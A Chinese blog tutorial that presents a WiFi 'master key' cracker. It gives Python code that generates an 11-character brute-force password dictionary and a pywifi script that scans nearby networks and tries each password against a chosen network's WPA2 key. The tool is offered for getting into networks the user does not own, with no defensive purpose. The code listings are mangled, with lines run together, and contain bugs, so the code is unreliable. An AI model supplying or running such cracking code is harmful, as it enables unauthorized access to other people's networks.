wifi万能钥匙

  • 1、引言
  • 2、代码实战
    • 2.1 思路
    • 2.2 模块安装
    • 2.3 代码实战
      • 2.3.1 生成密码本
      • 2.3.2 破解实战
  • 3、总结

1、引言

小鱼:小屌丝,你家WIFI密码是多少?
小屌丝:你试一试123456
小鱼:不对,
小屌丝:那再试下654321
小鱼:试了,还是不对!
小屌丝:我想一想…

小鱼:你还能想起来吗?
小屌丝:鱼哥,我还在想呢…
小鱼:那你慢慢想…

2、代码实战

2.1 思路

小鱼我实在是没有耐心等了, 我准备撸一个破解器。
思路也非常的简单:

  • 获取wifi列表;
  • 准备万能密码本;
  • 进行循环读取

2.2 模块安装

因为我们需要wifi密码破解, 所以这里需要用到第三方库,pywifi

老规矩,pip 安装

pip install pywifi

其它安装方式,直接看这两篇:

  • Python3,选择Python自动安装第三方库,从此跟pip说拜拜!!
  • Python3:我低调的只用一行代码,就导入Python所有库!

2.3 代码实战

2.3.1 生成密码本

代码示例

import itertools as its
import string
import os#数字+字母
paswds= '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
#11位密码
r = its.product(paswds,repeat = 11)
#文件路径
out_path = './output_file'
file_name =  'pwd.txt'
out_file = os.path.join(out_path,file_name)
#如果没有outfile_path 这个文件夹,就自动创建
if not os.path.exists(out_path):os.mkdir(out_path)
dic = open(out_file,'a')
#循环获取生成密码本
for i in r:dic.write("".join(i))dic.write("".join("\n"))
#关闭
dic.close()

生成结果:

  • 由于是11位,最后生成的密码本会很大,所以,你懂得…

2.3.2 破解实战

密码本准备完成, 接下来,我们就来破解wifi密码。

代码示例

# -*- coding:utf-8 -*-
# @Time   : 2022-09-03
# @Author : Carl_DJimport pywifi
import time
from pywifi import const# wifi 扫描
def wifi_scan():#初始化wifiwifi = pywifi.PyWiFi()#使用第一个无线网卡interface = wifi.interfaces()[0]#开始扫描interface.scan()for i in range(4):time.sleep(0.5)print(f'正在扫码可用wifi,请稍后...(' + str(3 - i), end=')')print(f'扫描完成!)')print('{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')#把扫描结果,存放在每一个wifi对象中wifi_bss = interface.scan_results()#存放wifi名wifi_name_save =set()for n in wifi_bss:#解决乱码问题wifi_name_signal = (100 + n.signal,n.ssid.encode('raw_unicode_escape').decode('utf-8'))wifi_name_save.add(wifi_name_signal)#wifi 存入列表并按照信号强度排序wifi_name_list =list(wifi_name_save)wifi_name_list = sorted(wifi_name_list,key=lambda a:a[0],reverse=True)num = 0#格式化输出while num < len(wifi_name_list)print('{:<6d}.{:<8d}{}'.format(num,wifi_name_list[num][0],wifi_name_list[num][1]))num += 1print('='* 30)#返回wifi列表return wifi_name_list# wifi 破解
def wifi_creak(wifi_name):#字典路径wifi_dict_path = input("请输入wifi破解密码路径:")with open(wifi_dict_path,'r') as f:#遍历密码for pwd in f:#去除密码的末尾换行符pwd  = pwd.strip('\n')#创建wifi对象wifi = pywifi.PyWiFi()#创建网卡对象,为第一个wifi网卡interface = wifi.interfaces()[0]#断开所有wifi链接interface.disconnect()#等待wifi断开while interface.status() == 4:# 当其处于连接状态时,利用循环等待其断开pass#创建连接文件(对象)profile = pywifi.Profile()#wifi名称profile.ssid = wifi_name#认证profile.auth = const.AUTH_ALG_OPEN#wifi默认加密算法,WPA2PSKprofile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMP#wifi密码profile.key = pwd#删除所有wifi链接文件interface.remove_network_profiles()#设置wifi新的链接文件tmp_profile =interface.add_network_profile(profile)#开始尝试链接interface.connect(tmp_profile)start_time = time.time()#如果链接时间超过1.5s,就认为密码不正确,在1.5s,说明链接成功while time.time() - start_time < 1.5:#默认连接成功状态为4if interface.status() == 4:print(f'wifi连接成功,密码为:{pwd}')exit(0)else:print(f'正在尝试使用{pwd}进行破解密码!')#主函数
def main():#退出标志exit_flag = 0#目标编号target =  -1while not exit_flag:try:print('wifi万能钥匙'.center(35,'-'))#调用扫描函数,返回一个排序后的wifi列表wifi_list = wifi_scan()# 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理choose_exit_flag = 0while not choose_exit_flag:try:target = int(input('请选择你要尝试破解的wifi: '))# 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入if target in range(len(wifi_list)):#二次确认while not choose_exit_flag:try:choose = int(input(f'你选择要破解的WiFi名称是: {wifi_list[target][1]},确定吗?(Y/N)'))#对用户输入进行小写处理,并判断if choose.lower() == 'y':choose_exit_flag = 1elif choose.lower() == 'n':break#处理用户其他字模输入else:print(f'只能输入 Y/N ')# 处理用户非字母输入except ValueError:print(f'只能输入 Y/N ')#退出破解if choose_exit_flag == 1:breakelse:print(f'请重新输入!')except  ValueError:print(f'只能输入数字,需要重新输入!')# 密码破解,传入用户选择的wifi名称wifi_creak(wifi_list[target][1])print('='*30)exit_flag = 1except  Exception as e:print(f'错误信息为: {e}')raise  e# 执行
if __name__ == '__main__':main()

运行结果:

3、总结

看到这里,今天的分享就差不多完事了。
今天通过pywifi来写了一个wifi破解神器。
由于这是非GUI版本,所以可以把这个代码封装成.exe运行程序。
这样运行起来,更方便。

我是小鱼

  • CSDN博客专家
  • 51Testing认证讲师

关注我,带你学习更多更专业更有趣的Python知识。

猿创征文|Python3,10分钟写了一个WIFI 万(破) 能 (解) 钥 (神) 匙 (器),YYDS。相关推荐

  1. Python3,WIFI 万(破) 能 (解) 钥 (神) 匙 (器)的 GUI版本来了,果断收藏。

    WIFI万能钥匙GUI版本 1.引言 2.代码实战 3.总结 1.引言 小屌丝:鱼哥, 上次你写的wifi破解神器,虽然好用,但是没有GUI界面啊. 小鱼:- 你还想要GUI界面版的? 小屌丝:对啊, ...

  2. 猿创征文 | web前端html写一个动态中秋明月!祝福大家中秋快乐!

  3. 给新手看的 Micronaut 入门教程,10 分钟写出一个 Micronaut 程序

    以下内容均选自 Micronaut 入门实战:基于 JVM 的微服务框架 . Micronaut是什么? Micronaut 是一个现代化的基于 JVM 的全栈框架,用于构建模块化且易于测试的微服务或 ...

  4. 猿创征文 | DevOps运维的10个日常使用工具分享

    猿创征文 | DevOps运维的10个日常使用工具分享 一.DevOps介绍 1.DevOps的简介 2.个人分享的10个工具导航 二.jenkins 1.jenkins介绍 2.jenkins的优点 ...

  5. 猿创征文 | Linux运维工程师的10个日常使用工具分享

    猿创征文 | Linux运维工程师的10个日常使用工具分享 一.本次分享工具导航 二.Adminer数据库管理工具 1.Adminer介绍 2.Adminer的特点 3.Adminer的使用 4.Ad ...

  6. 猿创征文 | 微服务 Spring Boot 整合Redis 实战开发解决高并发数据缓存

    文章目录 一.什么是 缓存? ⛅为什么用缓存? ⚡如何使用缓存 二.实现一个商家缓存 ⌛环境搭建 ♨️核心源码 ✅测试接口 三.采用 微服务 Spring Boot 注解开启缓存 ✂️@CacheEn ...

  7. 猿创征文|OpenCV 如何提高条形码识别率

    猿创征文|OpenCV 如何提高条形码识别率 今天介绍一个使用OpenCV提高条形码识别率的算法 平台及OpenCV库简介 强烈建议:先学习一下OpenCV的课程 步入正题:从图片读取到条码截取部分( ...

  8. 猿创征文|2022 年我的开发者工具

    猿创征文|2022 年我的开发者工具 文章目录 猿创征文|2022 年我的开发者工具 摘要 版本控制工具-Github Github Desktop git-cola SSH工具-X Shell 7 ...

  9. 猿创征文|我的前端学习之旅【来自一名大四老学长的真情流露】

    猿创征文 | 我的前端学习之旅 自我介绍 我浑噩的大一大二(是不是另一个你) 我的大三生活 大三上(学习过程.学习方法.推荐网站) 大三下(技术提升.荣誉证书.推荐比赛) 我与 CSDN 的机缘(从小 ...

最新文章

  1. 《ASCE1885的源码分析》の跨平台互斥对象Mutex封装类
  2. 为什么说特斯拉研发自动驾驶AI芯片应该引起注意?
  3. 关于win2003服务器远程断开后自动注销的问题解决
  4. IO概述(概念分类)
  5. 猫和老鼠java下载安装_tomcat(Java服务器)
  6. Hibernate与MyBatis区别
  7. 仿码支付全新免签支付系统源码
  8. BOM函数之history对象
  9. 开发 系统键盘发送按钮不可点击_HoloLens开发指南(2)---HoloLens模拟器介绍
  10. 找出数组中两数之和为指定值的所有整数对
  11. 大多数元素python_学Python必知的20个技巧,掌握它们,准没错
  12. 首席省钱赚钱专家微信小程序源码下载,淘宝客 外卖侠 外卖cps 首席多多客 八合一小程序源码
  13. Python Qt GUI设计简介、环境下载和安装(基础篇—1)
  14. 用VB实现网页下载跟踪程序
  15. Android解析包时出现问题
  16. 《算法零基础100讲》(第30讲) 概率与统计
  17. vue2.6.11版本源码运行报错问题处理
  18. 欧几里得扩展欧几里得算法
  19. python计算利率贷款_用Python获取银行网站上的存贷款利率表
  20. 【折半搜索-经典题目】中山纪念中学暑期游Day13——【GDOI2017模拟8.15】Buy

热门文章

  1. 安装LEGO软件遇到的问题
  2. 读书笔记 -《疯狂Java讲义》(第5版)
  3. 关于前端跨域及解决方案详解
  4. Mentor.Graphics.O-in v3.0 Linux 1DVD
  5. RGB和RGBA之间的转换 (实用、赞)
  6. micropython ota_物联网产品的首选方案——5款追求极简设计的ESP32-PICO-D4开发板
  7. VB中API函数的调用
  8. 仓库管理软件开发完成单机测试版
  9. iOS13 已抛弃 3D touch,使用长按代替
  10. 【程序源代码】毕业设计源码推荐